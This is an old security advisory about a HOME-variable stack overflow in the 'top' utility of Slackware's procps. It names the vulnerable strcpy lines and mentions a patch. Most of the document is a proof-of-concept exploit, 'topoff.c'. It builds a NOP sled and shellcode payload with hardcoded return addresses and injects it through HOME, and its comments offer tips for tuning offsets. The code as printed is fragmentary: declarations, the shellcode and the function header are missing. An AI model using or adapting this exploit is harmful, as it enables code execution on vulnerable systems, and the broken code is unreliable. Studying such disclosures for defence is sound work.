An exploitable stack overflow in procps's top (HOME)
16 Aug. 2000
Summary
The utility top, included with the procps package in Slackware Linux, contains multiple buffer overflow problems. Although the top utility is not setuid by default, it is still a problem. The overflows occur in two different places; when a call to strcpy() is made, it copies the environmental variable HOME into the buffer rcfile[1024] without bounds checking.
Credit:
The information has been provided by Ben Lull.
Solution:
A patch for the most current version of procps (procps-2.0.6) is attached below.
Obtain procps-2.0.6 from any Slackware distribution site under the source/a/procps/ directory. Unpack procps-2.0.6.tar.gz and apply the included patch (procps-2.0.6.patch).
Exploit Code:
/*
*
* topoff.c (08/02/00)
*
* Live buffer overflow (stack smasher/breaker/etc..)
* Exploits /usr/bin/top on Slackware 7.0.0 and 7.1.0.
* Earlier version should also be assumed vulnerable.
*
* By: Ben Lull (blull@valleylocal.com)
*
*
*
* <--- Begin my Little Babble --->
* You know your bored when you go through utils like top
* which don't have a sXid bit and spend the time generating
* the shell code from scratch and all that fun stuff as
* well as making the code pretty..
*
* Note:
* grep(1) is your friend... example usage:
* me@synchro~> grep -F -n "str" *.c
* me@synchro~> grep -F -n "get" *.c
* me@synchro~> grep -F -n "print" *.c
* me@synchro~> grep -n "\[\]" *.c | grep -F "char"
*
*
*
* Experienced working Offsets:
* (It's obvious, look at the code)
* BUFLEN - strlen(code) - EIP.
*
* You should know this one.
* If you don't.. you shouldn't
* Have toys such as this.
*
*
*
* Exploit Occurs:
*
* top.h:
* 50: #define MAXNAMELEN 1024
*
*
* top.c:
* 211: char rcfile[MAXNAMELEN];
*
* 223: if (getenv("HOME")) {
* 224: strcpy(rcfile, getenv("HOME"));
* 225: strcat(rcfile, "/");
* 226: }
* .
* .
* .
* 1495: if (getenv("HOME")) {
* 1496: strcpy(rcfile, getenv("HOME"));
*
*/
#include <stdio.h>
#include <stdlib.h>
#define OFFSET 0
#define BUFLEN 1032
#define RET 0xbffffb35 /* Slackware 7.1 */
file://#define RET 0xbffffafc /* Slackware 7.0 */
for (i = 0; i < BUFLEN; i+=4) {
*(addressp++) = address;
}
for (i = 0; i < (BUFLEN - strlen(code) - 4); i++) {
buf[i] = NOP;
}
p = buf + (BUFLEN - strlen(code) - 4);
for (i = 0; i < strlen(code); i++)
*(p++) = code[i];
buf[BUFLEN] = '\0';
/*
* A nifty trick is to run /bin/sh -i and run top manualy.
* This way you can figure out if your going the right way or not
*
* strace/gdb /usr/bin/top
*
*/
setenv("HOME", buf, 1);
system(TOP);
}